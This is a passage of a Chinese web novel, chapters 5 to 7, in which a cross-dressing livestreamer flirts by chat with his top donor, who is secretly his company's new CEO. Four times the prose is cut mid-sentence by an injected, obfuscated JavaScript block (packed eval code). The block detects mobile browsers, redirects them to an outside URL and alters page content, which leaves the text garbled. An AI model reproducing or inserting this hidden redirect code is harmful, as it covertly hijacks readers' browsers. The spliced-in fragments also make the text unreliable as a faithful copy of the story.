老Q的话外音是不是说:你们女孩子洗澡不都很慢吗?你怎么十多分钟就洗完了?都不用护肤擦香香的吗? 我靠!!这人观察力怎么那么细致啊? 如若不是他说,景眠压根意识不到那有什么问题。 一时疏忽大意,竟露出了小破绽。 但……无伤大雅。 景眠皱了下鼻子,瓮声瓮气对着手机说道:“还不是因为昨晚太困了,人家想早点睡觉觉呀!可恶的领导让人家加班到十点,好累好累的呢。” 不错,完美。 对付男人,他有的是花招。 - 一来到公司,手机便开启了静音模式,景眠全身心投入到工作当中,什么Q先生Z先生的全都抛到脑后。 忙到中午十二点,到了该吃午饭的时间,景眠还在敲键盘,楚扬的椅子滑过来,问他要不要下去吃饭。 他们公司的员工餐厅伙食还可以,两荤一素加例汤才十六,菜可以随便选,性价比高,高峰期都要抢位置。 “走啊,再不去红烧肉就没了。”楚扬见景眠还在犹豫,一手拍上他肩,“也不差这一会儿。” 景眠摘下眼镜,揉了揉发酸的眼睛,扯出个勉强的笑,“我也没有多爱吃红烧肉。” 他这冷不丁一笑,让楚扬愣了下。 回过神,楚扬看着那副笨重的眼镜,嫌弃地说:“其实你人长得挺好看,就是不会打扮,这么丑的眼镜也能被你买到。” 景眠拿起手机,没有接话。 图的就是它丑。 多另类。 两人往电梯的方向走,景眠刻意走在楚扬的后面,点亮手机屏幕偷偷看了一眼。 这一看,嫉妒的火焰又开始熊熊燃烧了。 Q: 【什么工作这么忙?】 消息发于11:06分。 说明这个点才刚醒。 而他已经起床四小时,工作俩小时了! 没有对比,就没有心理不平衡。 景眠怨愤地瞪着屏幕,按住锁屏,不想回了! “电梯来了,看啥呢?”楚扬胳膊一伸,把景眠拽了进去。 景眠低着头,一不留神撞上堵肉墙,他还没抬头看是谁呢,就听见楚扬倒吸了口凉气,慌乱地说:“不好意思,秦总,真不好意思。” 景眠错愕抬起头,正对上一双深邃沉静的眸。 男人神情冷峻,不带任何温度的目光掠过他,宛如一阵凛冽的寒风吹来。 秦总? 刚才撞的人不会就是他吧? 大脑瞬间宕机,“对不起”在景眠喉间滚了几圈,挣扎着要说出口,可秦总这时头一转,和旁边的助理说话了。 景眠生生地把话咽回去,紧贴着电梯老老实实站好,心想着他怎么不坐总裁专用电梯呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921609|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 疑惑在到达员工餐厅那一层时得以解开,总裁的专用电梯是到不了这层的。 秦总长腿一迈,率先走出电梯。 瞧着他的宽肩窄腰,景眠不由感叹命运不公,咋啥好事都让人家摊上了? 颜值、地位、身材、气质,连走路的姿势都像从T台下来的。 楚扬看到秦总去取了餐盘,震惊地瞪大眼,不由得对景眠嘀咕道:“不是吧?他来和我们员工抢饭吃?” “人家那叫微服私访,体察民情。”景眠小声说,继而道:“况且,总裁不定时过来吃,后厨才不敢偷懒懈怠。” “言之有理。”楚扬赞同地点点头,没想太多。 景眠却为后厨的工作人员点了根蜡。 新官上任三把火,连食堂都不放过。 过去取了餐盘,景眠期盼着今天能有糖醋小排,结果一眼望去,有是有,但只剩下一份了。 他没有犹豫,三步并作两步去到了那个窗口前,想对阿姨说“来一份排骨”,结果阿姨的眼神眼巴巴瞅着秦总那边,还没等人家走过来,她先热情开口问道:“秦总,最后一份排骨了,您要吗?” 端着托盘的力道默默收紧,景眠自觉转了身。 论抢食的能力,他能抢得过资本家吗? 人家根本不用过来,已经为他留好了。 可没想到,秦总淡淡回了句:“不用了。” 阿姨这才注意到有人要来打排骨,叫住景眠,“小帅哥,你要吗?” 景眠心里头有些复杂。 他在想,资本家有那么好心吗?难道是注意到他准备打排骨,才说不用了? 如果这样的话,那这老板还挺有良心的,懂得体恤员工。 秦总位高权重的,吃遍了山珍海味,自然不缺这一份排骨,但他下午还要头脑风暴,得吃点抗饿的。 这么一想,景眠也就欣然接受了。 - 用过午饭,回到工位,景眠才想起还没回老Q消息。 笔在指尖转了两圈,回复什么好呢? 有了! 景眠灵光一现,飞快敲下一行字:【哥哥起这么晚,是不是熬夜啦?我听说熬夜对肾不好,要多注意身体哦!】 论阴阳怪气,他最在行。 表面看起来是在关心,字里行间都充满了真诚,实际上…… 唇角勾起坏笑,景眠放下手机,继续工作了。 不一会儿,手机屏幕亮起。 景眠挺好奇老Q怎么回,偷瞄了眼领导办公室的方向,拿起了手机。 【肾很好】 【放心】 “………”他放什么心? 好不好的也造福不了他! 【那哥哥的身体一定很强壮吧。】 【嘤嘤嘤……不知道有没有腹肌嘞?】 发完还顺手加了个猫咪眨眼的表情包,活脱脱一个撒娇精。 忍俊不禁地盯着那两句话看了几秒,景眠正准备放下手机,头顶忽然响起一声爆喝: “景眠!都什么时候你还玩手机?方案改完了吗?” 那一声如惊雷炸开,景眠肩膀一抖,手机差点脱手摔下去。 抬头对上黄经理怒不可遏的那张脸,他心中泪流满面。 努力不一定被看见,但摸鱼一定会。 5. 第5章 怕再被领导逮个正着,景眠自此如履薄冰,一直到晚上下班,都没敢再碰一下手机。 他的工作任务已经完成了,只等领导那边审核,就是苦了楚扬,今晚还要加班。 离开前,景眠同情地拍了拍他的肩,“战友,我的精神上与你同在。” 楚扬抬头苦笑,眼底泛着疲惫的血丝,“要不你留下来陪我?” 听到这话,景眠溜得比兔子还快。 精神同在就行了,肉.体上不必了。 不用加班的晚上,连呼吸都是自由的。 景眠掏出手机,想看Q先生回了什么,结果消息仍然停留在他发过去的那个表情包。 断网了? 景眠点开浏览器试了下,网络正常。 哦。 大概是霸总日理万机吧。 景眠并未放心上,转而点开好友周翊林的头像,问他要不要出来喝两杯。 前两天,周翊林约过他,问他哪天有空,景眠那个时候正在赶天美的项目,隔三差五的加班,身心俱惫。 消息刚发出去没多久,周翊林的语音就弹了出来。 他那边背景音嘈杂,混杂着酒吧的低音贝斯。 “你小子可算想起我了,我在雾岛,速来!” 周翊林白天跑工地,晚上到酒吧兼职敲架子鼓,日子过得那叫一个风生水起。 景眠能和他认识也算机缘巧合。 有次他穿女装去雾岛喝酒,被一个醉鬼搭讪,非要邀请他去喝两杯,景眠不耐烦拒绝,惹得对方恼羞成怒,是周翊林及时出现帮他解了围。 那个时候,景眠一袭纯白色的裙子,金发披肩,美好得像不染尘埃的天使,周翊林真当他是个柔弱的女孩子,没想到两人聊着聊着,走进了同一个洗手间。 周翊林当时的反应好笑极了,下意识捂住裆部,大惊失色看着他,“虽然我在酒吧工作,但我是个正经人!” 景眠被他逗笑了,暴露本音懒洋洋地反问:“你帮了我,以身相许不行吗?” 气氛沉默了两秒,随后响起一句国粹。 “卧槽!你是男的啊!” 两人自那之后成为了朋友,周翊林也是为数不多知道景眠女装秘密的人。 - 景眠来到雾岛时,周翊林的架子鼓已经敲完了,正慵懒地靠在木质吧台上,衬衫解开了三颗扣子,尽显放浪形骸的模样。 看到景眠朝他走来,举着半杯琥珀色的酒在半空中摇了摇。 “等你半天了。”周翊林起身给他挪位置,又招手让侍应生添了只酒杯。 景眠坐下,接过侍应生递来的冰镇啤酒,泡沫蹭在唇边,凉丝丝的。 “这酒还挺好喝的。”景眠观察了下,挑眉问:“新品?” “你是太久没喝了吧。”周翊林嗤笑了声,看到他白衬衫黑西裤的沉闷打扮,不禁感慨,“即使看过很多次,我还是很难将你现在的形象和第一天结合起来,这特么是同一个人?” 景眠将眼镜盒从裤子口袋掏出来,戴上眼镜,“那这样呢?” 周翊林受不了地捂住眼睛,“太辣眼了。” 他真是搞不懂景眠,哪有人刻意扮丑的,明明他的外形条件那么优越,比很多偶像明星还要好看。 景眠不逗他了,收起眼镜,故作深沉说道:“在职场,长得太好看以及看起来很聪明并不是一件好事。” 周翊林那工作很少待在办公室,不用应付那些勾心斗角,解决弯弯绕绕,所以他也不太能理解景眠话中的含义。 “不聊这个。”给景眠满上酒,周翊林接着问:“你那边项目完成了?” “应该吧。”景眠不敢答得太确定,“如果新来的总裁不那么严苛的话。” “高层换血了?” “也不是,我听同事说这位新来的总裁是董事长的外孙,他从十八岁开始创业,没靠家里支持,仅凭自己努力,就做成了一家上市公司。” “呵。”周翊林摇头表示不信,“过度神化,创业能是那么容易的?不靠家里支持,可能么?” “真真假假谁知道呢。”景眠耸耸肩,拿出手机刷起了新闻。 他和周翊林的关系稳如钢筋,已经不需要硬找话题来尬聊了,两人各看各的手机,开始有一搭没一搭地聊起来。 景眠聚精会神盯着手机屏幕,上方突然弹出一条消息: 【你想看?】 消失七个小时的人出现了。 景眠当下还没反应过来想看什么,直到上面那条消息跃入眼底。 ??? 不对劲。 老Q是在问他想不想看腹肌吗? 反撩? 有意思,碰到对手了。 景眠忍住笑,手指像小仓鼠似的在屏幕上点点点,【哥哥若是想给我看,那人家当然不会介意啦!】 左右不是他吃亏。 就算让他看大鸟,他也乐意笑纳。 景眠沉浸在臆想的快乐中,旁边幽幽飘来一句:“你谈恋爱了?” “啥?”景眠懵了。 “不然你为什么对手机笑得一脸春心荡漾?” 景眠淡定锁屏,“想多了。” 周翊林狐疑的目光打量着他,“你不正常,有情况。” “你说有就有呗。”景眠随他怎么说,不反驳。 周翊林蹭了蹭鼻尖,借机询问:“男的女的?” 听闻,景眠无语地抿了口酒,冷眼扫射过去,“我看起来还不够直吗?” 周翊林笑了,“不但不直,还很0!” 景眠对着他的高脚椅就是一脚。 “老子就算弯了也是1,大猛1!” - 微醺回到家,景眠照旧先往沙发上一躺。 他点进直播后台翻了翻,有好多粉丝在催他上播。 【小荔酱敢不敢突然冒个泡吓我们一跳?】 【已经有两天没听到小荔酱的声音了,感觉自己茶饭不思。】 【虽然周末开播是惯例,但最近风头正盛,确定不加播吗?】 【主播你的事业心就不能强一点吗?这钱我都恨不得替你捞!】 【hhh榜一大哥的钱捂得快发霉了!】 QAQ…… 景眠感觉自己好像一个无能的丈夫,有心而无力。 不过说起榜一大哥—— 这老Q怎么又没动静了? 不管他。 景眠刷了会手机,艰难地从沙发上爬起来,去洗澡了。 这次,景眠洗的时间比较长。 他喜欢喝酒,但又讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921610|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌满身的酒气,搓了两遍沐浴乳才把原来的味道冲散。 洗得香喷喷的,走出浴室,景眠无意间瞥了眼镜子。 哇!他的脸蛋红扑扑,好像一颗可口诱人的水蜜桃啊! 脑中莫名浮现出这个羞耻的比喻,景眠赶紧甩了甩脑袋,予以清除。 他可是大猛1,哪是什么水蜜桃! 将头发吹干,景眠美美躺下,准备和手机大人来一场美妙的约会。 结果,手指在屏幕上戳了两下,解锁后自动弹开了未读消息的聊天框。 一张男人的腹肌照就那么猝不及防地跌入眼帘。 景眠瞬间瞳孔地震,不敢相信自己的眼睛。 在他的大脑还在震惊时,指尖已经不受控制地飞快点开了照片。 八块腹肌如刀刻般分明,紧密排列在紧实的腰腹之上,线条凌厉而流畅,水珠沿着肌肉的沟壑缓缓滑落,在昏暗光影下闪烁微芒,像是还带着余温。 随着轻微的呼吸起伏,那片肌理仿佛在无声低语,散发着克制又野性的蛊惑。 救命!! 这腹肌,这线条,这光影…… 是真实存在的吗?? 从哪搜罗来的网图,身材如此极品,让同为男人的他狠狠地慕了! 照片是Q先生发来的,但景眠打死也不信这会是他本人。 景眠盯着照片眼馋了好一会儿,才敲字回复: 【哇!这不会是哥哥本人吧?】 【身材好好哦~怎么练的?】 好假好虚伪! 良心,我对不住你! 明知道是网图,还要配合演戏。 景眠默默在心底将自己嘲笑了一通。 老Q并未回答他的问题:【满意吗?】 看吧。 避而不答,没鬼才怪。 看在他是榜一大哥的份上,景眠就不戳穿了。 职场上违心的话讲了一箩筐,才赚那仨瓜俩枣,相比起来,装作傻白甜又算得了什么? 景眠随手戳了个兔子跳舞的表情包:【满意满意!深夜看到哥哥这么性感的腹肌,怕是要睡不着了呢。】 面对他的糖衣炮弹,对面倒是表现得很淡定。 【明天还要上班】 【早点休息】 他就像个一本正经的老干部似的,不管景眠怎么撒娇怎么撩,都不接招。 哪怕发腹肌照,也表现得正义凛然,不会让人误以为他想搞涩情。 景眠心下冷笑了声,比塑料袋还能装。 行吧,那就看谁才是高手。 被子撩开,景眠将白皙修长的腿搭在蚕丝被上,找准角度,拍了张照片。 睡觉的时候,他习惯只穿短裤睡觉,眼下这条是纯白色的,看不出男款还是女款,只微微露出一点边缘,触目可及全是白花花的长腿。 景眠将照片发过去,娇嗔十足地哼了声:“我也要让哥哥睡不着!” 他发的是语音,声音软糯如蜜,裹着满满的娇气,却又不显得做作,像嗓子里含着一颗牛奶软糖,一开口,便甜得人心尖融化。 这次,对面过了好几分钟才回复。 景眠捧着手机,点开消息,看到文字的一刹那,脸蛋倏然一红。 【哥哥的生理反应不是失眠。】 6. 第6章 脸颊逐步升温,景眠盯着“生理反应”四个字,指尖都在发颤。 手机拿在手上就像烫手山芋似的,他也不知道自己一个大男人,为何看到这种话会面红心跳的,好像被戳中了某个雷达开关一样。 高手过招,招招致命。 他故意装懵懂,发去语音:“那哥哥的生理反应是什么呀?” 对面回复很快:【此刻,正在发生。】 呼吸一滞,景眠猛地攥紧手机,耳尖瞬间烧得通红,仿佛那文字不是显示在屏幕上,而是穿过双眸直接钻进了血液里。 推拉!最极致的推拉!! 没有直白的露骨描述,没有油腻的调情,只有简简单单的六个字。 景眠按下语音键,张了张嘴,喉咙发干,一时间竟不知如何回应。 明明是他在试探,在撩拨,却像被反手按到地板,动弹不得。 看似是他在戏耍对面,实则人家早已看穿他的小把戏,用最轻描淡写的语气,将他所有的小把戏尽数拆解,再设下天罗地网的围猎。 这个男人不简单。 皱着眉头,景眠思考了好半天都不知该怎么回合适,他后知后觉意识到自己在对方眼中,其实是个娇软可爱的女孩子,那开这种有色玩笑应该适可而止才对。 索性,景眠把被子拉到肩膀,准备结束聊天。 【哥哥,我好困好困了,明天再聊吧。】 【小熊睡觉晚安.jpg】 发完表情包,景眠没忍住又点开自己的腿照看了眼。 白嫩的腿在灯光下泛着透亮的光泽,像是在紧紧地夹着被子,微微弯曲的膝盖透着淡色的粉,抵在白色床单上,纯欲又诱人。 拍的时候不觉得,这怎么越看越羞耻。 景眠的脸红扑扑的,看到Q先生回复了一句:【好,晚安。】 他竟也会带标点符号,和他说晚安了? 果然,男人都是调教出来的。 景眠带着心满意足的笑容,将手机放到床头柜,闭上眼睛睡觉了。 - 翌日上午。 提交的方案终于通过最终审核,景眠整个人长松了口气。 项目如约交付,领导那边也很满意,露出久违的和颜悦色。 轻松度过一下午,按时下了班,景眠奖励自己,去了最爱吃的那家甜品店,挑了几款蛋糕。 今晚,“吃播小荔酱”要上线咯。 回到家,将蛋糕放进冰箱,景眠坐到梳妆台前,开始化妆。 于景眠而言,化妆早已不是生涩的尝试,初学时的笨拙早已褪去,如今每一个步骤都如呼吸般自然,尤其眼下这片肌肤,被精心养护得细腻匀净。 他先用温水洁面,轻轻拍上保湿水,待肌肤吸收,再取适量妆前乳,以指腹轻柔按压全脸,为底妆打好基础。 粉底液均匀地点在面部,景眠再用湿润的美妆蛋轻轻拍开,手法轻柔而精准,直至肤色通透,毫无粉感。 他偏爱清透的裸妆,眼线笔只是在眼尾轻轻勾出一道微扬的弧线,并不张扬,腮红淡淡扫过苹果肌,为素净的脸颊添上了自然的血色。 最后,是点睛之笔——口红。 凝视着面前一排色彩各异的管状口红,景眠纠结几秒,最终选中一支豆沙色,低饱和的温柔调,膏体顺滑地涂抹在唇上,他轻轻抿合,冲着镜子展露出一抹笑。 取悦自己真是再幸福不过的事情了。 换上漂亮的小裙子,戴上金色假发,一切准备就绪,景眠在粉丝群里发了开播通知。 好多粉丝闻声而动: 【啊啊啊我就知道今晚有惊喜!!】 【小荔酱终于来了!!盼了一整天!】 【开播开播!已经准备好小板凳和零食了!】 景眠去冰箱拿了蛋糕放在桌旁,顺手打开环形补光灯。 暖光瞬间照亮了整个桌面,他调整好摄像头的角度,对准胸口的位置,检查收音,确认没问题后,进入了直播间。 【啊!!!老婆好久不见!!想你想疯了!!】 【呜呜呜终于等到开播,我人都等麻了!】 【只有小荔酱才能让我在周三的晚上露出笑容】 空荡的弹幕区骤然被密密麻麻的文字填满,如同潮水般裹挟着热情与期待,朝着景眠涌来。 “抱歉让大家久等啦~”景眠先拿了一盒草莓蛋糕过来,“今天呢,我们边吃边聊天。” 蛋糕很精致,抹面细腻,三层奶油夹着新鲜草莓,最顶上还放了一朵可食用的巧克力玫瑰。 景眠挖了一勺放进嘴里,奶油瞬间在舌尖化开,甜意顺着味蕾蔓延到心底。 “好好吃哦!”景眠轻声惊叹。 镜头里只能看得到小荔酱葱白纤细的手指,捏着牛乳白的蛋糕勺,她的指甲修剪得圆润规整,甲油好像都没涂,却透出了淡淡的粉色。 【呜呜呜小荔酱你到底知不知道,你自己就是一块香香软软的小蛋糕啊!!】 【小荔酱你这不是在吃蛋糕,是在一口一口地吃掉我的理智。】 【奶油沾到嘴角啦,好想帮她舔掉(bushi】 【试问谁不想呢?这简直就是诱人犯罪!!】 【老婆要是能露脸的话,那就更完美了!】 【奇怪,榜一大哥人呢?】 【突然开播,榜一大哥可能不知道吧。】 【没有的,我看到榜一大哥在直播间,只是没刷礼物。】 【这能忍得住不刷??】 直播间讨论得如火如荼,而彼时的榜一大哥…… “看什么呢?那么聚精会神。” 卡座的昏暗处,黑衬衫的男人慵懒靠在沙发的角落,左耳挂着一只蓝牙耳机,低头在看手机。 屏幕的光映亮他冷峻的下颌线,眼神专注得近乎执拗,仿佛整个世界只剩下那方寸之间的画面。 忽然一只手伸到他面前,挡住了屏幕。 男人不耐烦地拧眉,冷冽的目光扫射过去,吓得伸手的那个人立刻噤声。 顾衍讪然笑了两声:“我那不是好奇吗?” 薄唇紧抿,秦洛白给了一记眼神警告,示意他别再打扰自己,视线又移回手机。 屏幕上,女孩白皙的指尖不小心染了奶油,她抬起了手,应该是递到嘴边,轻轻将奶油舔了去。 越是看不见画面,越让人浮想联翩。 “蛋糕吃多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921611|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了容易腻,要不我先陪大家聊会儿天吧。” 清甜的声音伴随着动作,在蓝牙耳机里作响,音质太好,连呼吸声都仿若可闻。 秦洛白在那一秒钟闭上眼,感觉到有双柔若无骨的手拂去了他满身疲惫。 直播间的弹幕还正疯狂滚动: 【啊啊啊小荔酱舔手指了对不对!!】 【小荔酱你是懂怎么诱人犯罪的!!啊!我死了!!】 【老婆商量一下,可不可以把摄像头往上移一点?就一点!!】 【这动作也太勾人了叭……她知道直播间有多少人为她尖叫吗?】 【榜一大哥呢?怎么还没刷礼物?这都不心动?】 【榜一大哥有在看吗?这么诱惑的一幕错过了,真为他感到可惜。】 不必可惜。 他在看。 睁开眼,看到弹幕。 秦洛白坐正身体。 手指在屏幕上轻点几下,礼物的特效便开始刷屏。 刚才不送,只是不想让特效挡住了她。 “小荔酱”美好到让人一秒钟都不愿错过。 顾衍和夏明睿坐在沙发的另一端,暗中观察了秦洛白一会儿,彼此交换了个眼神。 夏明睿:“你说他这是啥意思?约我们出来喝酒,说有事要谈,结果自己一直在那看手机。” 顾衍:“他那表情看起来很享受,也不像忙工作的样子啊!” “那还能在干嘛?总不可能是恋爱了……”夏明睿说完,自己先打了个寒颤。 谁都有可能谈恋爱,秦洛白绝不可能。 “清心寡欲”已经不足以形容他了,他是那种能在万花丛中过,也绝不留恋的人,不论是美女还是帅哥对他实行狂轰滥炸地追求,从不曾动摇。 秦洛白,仿佛天生对情爱免疫。 满桌荤段子横飞时,他能面不改色地捧着茶杯轻啜一口,任旁人如何打趣调侃,也从不接话,仿佛那一切喧闹,都与他无关。 他像一座被雪封了千年的山,连风都吹不进心里。 “你开什么玩笑?”顾衍震惊地从沙发上弹起,像被电击了似的。 他的噪音引得秦洛白不悦,吵到他看直播了。 男人冷冷抬眸,往顾衍的方向看了一眼。 早知道她今晚会开播,一定不约这两人出来喝酒。 不要紧的公务完全可以推到明天再谈。 思及此,秦洛白站起身,“临时有事,明晚帝景酒店谈。” 丢下这句话,他大步流星地离去。 身后,夏明睿和顾衍面面相觑,错愕得说不出话来。 “不是他约我们出来的吗?”夏明睿挠挠头,感到好笑。 顾衍对着秦洛白刚才坐的地方打了一套空气军体拳。 “靠!!这还有天理有王法吗?谁来管管?” 他们是什么想约就能约出来的人吗?他们的时间难道就不是金钱吗? 顾衍很有骨气地哼了一声,“明天,我是绝对不会去帝景的!” 夏明睿毫不留情地拆台,“你别硬到最后爬着去。” 秦洛白可有的是手段对付谁,哪怕是朋友,也要敬他三分薄面。 7. 第7章 下播时,已近深夜。 今日的直播数据依旧亮眼,在线观看人数最高达到三万多,打赏金额也超过六位数,榜一依旧是Q先生。 今日的他格外安静,并未私聊景眠,在直播间也是刷了礼物就走,毕竟从来不发弹幕。 景眠打开手机后,下意识点进微信小号看了一眼,并没有新消息。 和老Q的聊天页面,还是停留在昨晚的那句【好,晚安】,在这之后,便是长达十几个小时的空白。 很奇怪。 每天联系的人突然断了讯号,心里莫名会有种空落落的感觉,像是少了什么。 人的习惯养成,还真是很轻易。 他不会是在等我主动发消息吧? 这个想法一旦冒出来,便像藤蔓一样缠绕住心脏。 景眠不是纠结的性格,很快发过去一句:【谢谢哥哥今日的礼物~】 消息发送成功,景眠困倦地打个哈欠,伸个懒腰,关上电脑,先去卸妆、洗澡。 等忙活完这一通,时间来到了零点。 景眠以为过了这么久,老Q肯定已经回复,可他点开一看,并没有新消息提醒。 有股小小的失落冒了芽,很快被按下去。 睡觉。 将手机开了夜间免打扰,机身翻过去,面朝下扣在床头,景眠利落躺下了。 最近精力透支,只要闭上眼,没一会儿就能睡着。 只是,睡前有消息没得到回复,心里总隐约有种不踏实的感觉,半夜三点多的时候,景眠莫名睁开了眼睛。 房间里窗帘紧闭,黑漆漆的一片,他还在想是不是该起床了,结果拿起手机一看:3:15! 这个点醒来真是太糟糕了。 万一睡不着,明天怎么上班? 心下懊恼,景眠却没立即放下手机,而是解锁屏幕,点进了微信小号。 两条未读消息赫然进入眼帘。 【跟我不必道谢】 【晚安】 消息上下间隔了十分钟,发于凌晨一点多,应该是没等来回复,猜“她”已经睡着了,所以又发来一句“晚安”。 指尖悬在键盘上数十秒,景眠想了想还是明早再回,太晚了。 放下手机,闭上眼,景眠以为会辗转难眠,可预想中的失眠并未发生,困意竟迅速袭来,很快便沉沉睡去。 - 夜雾散尽,清晨如约而至。 闹钟不厌其烦地持续作响,景眠半眯着眼拿起手机,手指出于本能滑向关闭。 他翻个身,嘴里嘟哝着“好困”,起床的意志力在温暖的被窝里节节败退。 红酒开了都要先醒5分钟,我醒了却要立刻去上班,命苦啊! 踢开被子,景眠心中哀嚎。 他挣扎几秒,感觉头有点晕,以此为由赖了会床。 景眠想着,我再眯十分钟就好,就十分钟……结果,迷迷糊糊地睡了过去。 没成想,再醒来的时候,竟然已经八点半,马上要到上班时间。 瞬间,头也不晕了,人也清醒了。 景眠猛地从床上弹起,手忙脚乱地打开衣柜,随便翻出来一件衬衫套在身上,之后火速冲进了洗手间。 紧赶慢赶还是迟到了,好在只有三分钟。 景眠气喘吁吁地坐到工位,往四周偷瞄了一番,待呼吸平稳后问楚扬,“黄经理还没来吧?” 楚扬摇摇头,“项目完成了,他肯定要偷懒。” “那就好。”景眠将电脑开了机,拿起杯子去了茶水间。 给自己接了杯热水,吃了两块小饼干,突然想起还没回老Q微信。 手机在裤子口袋里,他边嚼着饼干边拿出来,低头打字: 【呜呜呜糟糕的早上】 【哥哥我迟到了,好怕被领导抓包QAQ】 人生有时就是那么邪门,怕什么来什么。 景眠前脚刚从茶水间出来,后脚就撞上黄经理。 这黄鼠狼一看见他就怒目圆睁,“景眠,我问你,今天几点打的卡?” “九点零三……”语气弱弱的,景眠回答得很小声。 “行啊你,昨天项目刚收工,今天就给我懈怠,别看只有短短的三分钟,它却能反映你的态度问题!” 景眠耷拉着脑袋,任由这老登唾沫横飞,也绝不还口。 跟领导顶嘴,那不是自寻死路? 只会惹得他更变本加厉地克扣你的工资和奖金。 要说这黄经理也真是厉害,不知是不是更年期到了,批评了三分钟还没过瘾,语气愈发尖刻,仿佛手握生杀大权,非得榨出点存在感才肯罢休。 景眠越是老实,越助长他嚣张气焰。 “公司是讲纪律的地方,不是你家!迟到这事儿,下不为例,这个月的全勤奖,你就别想了………” 黄经理说得正起劲,忽然后面响起一道冰冷的嗓音:“黄经理,一大早火气就这么旺?” 这声音不高,却极具穿透力,仿佛从脊椎末端悄然爬升,让人后背一凉。 意识到是谁在说话,黄经理的表情顷刻间变得紧张。 怒意瞬间凝固,像是被人当头浇了一盆冷水,他做了番心理建设才转身,脸上已堆起谄媚的笑意,“秦总,早上好。” 秦洛白不动声色将手机锁屏,冷眼睨着面前的人,“公司不是学校,迟到自有制度约束,扣工资便是,没必要当众说教,影响士气。” 黄经理额角渗出细汗,连忙点头哈腰:“是是是,秦总说得对,是我考虑不周,情绪用事了……下次一定注意。” 秦洛白没再开口,径直从两人身旁走过,自始至终没看被批评的那个人。 他并不关心是哪位员工,在意的只是迟到这件事儿。 走远一些,秦洛白单手解锁,屏幕仍然停留在他和“小荔酱”聊天的页面。 那句“哥哥我迟到了,好怕被领导抓包QAQ”还悬在对话框里,未被回复。 指尖微顿,冰冷的眸色渐柔,秦洛白的心底难得泛起涟漪。 不知道她的领导,是不是也那般严厉地批评了她。 - 景眠回到工位,像是快要虚脱。 他太感谢秦总的大恩大德了,这位霸总的出现,不亚于一场及时雨,不但救他脱离了水火,更让那平日里趾高气扬的黄经理吃了瘪,灰头土脸地退场。 一想到黄经理前倨后恭的窘样,景眠就忍不住想笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921612|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 盯着电脑屏幕,他真想把壁纸换成秦总的照片,把人好好供起来。 这简直是“职场如来佛啊”! 装模作样地敲了两下键盘,看到手机屏幕亮起,景眠偷偷解了锁。 Q: 【领导为难你了吗】 景眠想说他刚被领导教训完,又觉得没面子,删删减减最后发出一句:【我们总经理人很好哒~】 他说的总经理是指“秦总”,而非黄经理。 这模棱两可的话也算阐明事实。 不等对方回复,景眠又发送道:【哥哥,我要认真工作啦!不可以摸鱼哒~】 对面似乎是咽下了许多话,只回过来一个【嗯】,依旧那么高冷。 又开始拽了,我的哥。 景眠腹诽着,戳过去一个“哼”的表情包。 - 临近下午下班时间,向来抠门的黄经理来到办公区,对大家说:“各位最近加班辛苦了,今晚我请大家吃饭。” 话音落下的瞬间,鸦雀无声,片刻后才响起稀稀拉拉的敷衍的欢呼声。 员工们的脸上并没有表现出开心,因为大家都知道黄经理的作风,只去人均消费一百元以下的店,像那些价格高昂的自助餐、日料店,他是万万不会选的,无异于扒了他一层皮。 “年薪几百万还这么抠,又没老婆孩子需要养,守财奴一个。” 黄经理走后,楚扬凑到景眠那边,对他小声吐槽。 这种话他也只敢跟景眠这种老实孩子说,因为他听了就烂到肚子里,不会散播出去。 所有人对晚上的聚餐都没抱期待,谁知黄经理这次一反常态,竟然请大家去了五星级大酒店,还点了满满一桌菜。 “这是要吃完散伙?”楚扬坐下时还有些发虚。 “项目完成艰难,怨气重,下个可能更难。”景眠眸光清亮,一语道破,“先给甜头,好让我们继续卖命。” 楚扬望着面前这个寡言少语的男生,惊叹不已:“平日话少,看事却透彻,佩服佩服。” 景眠一笑置之。 席间菜式陆续上桌,黄经理起身讲话,画的饼比以往更大更圆。 景眠百无聊赖吃着,胃却隐隐作痛。 最近饮食紊乱,一碰生冷的东西,像螃蟹、三文鱼这些,胃就感到不适。 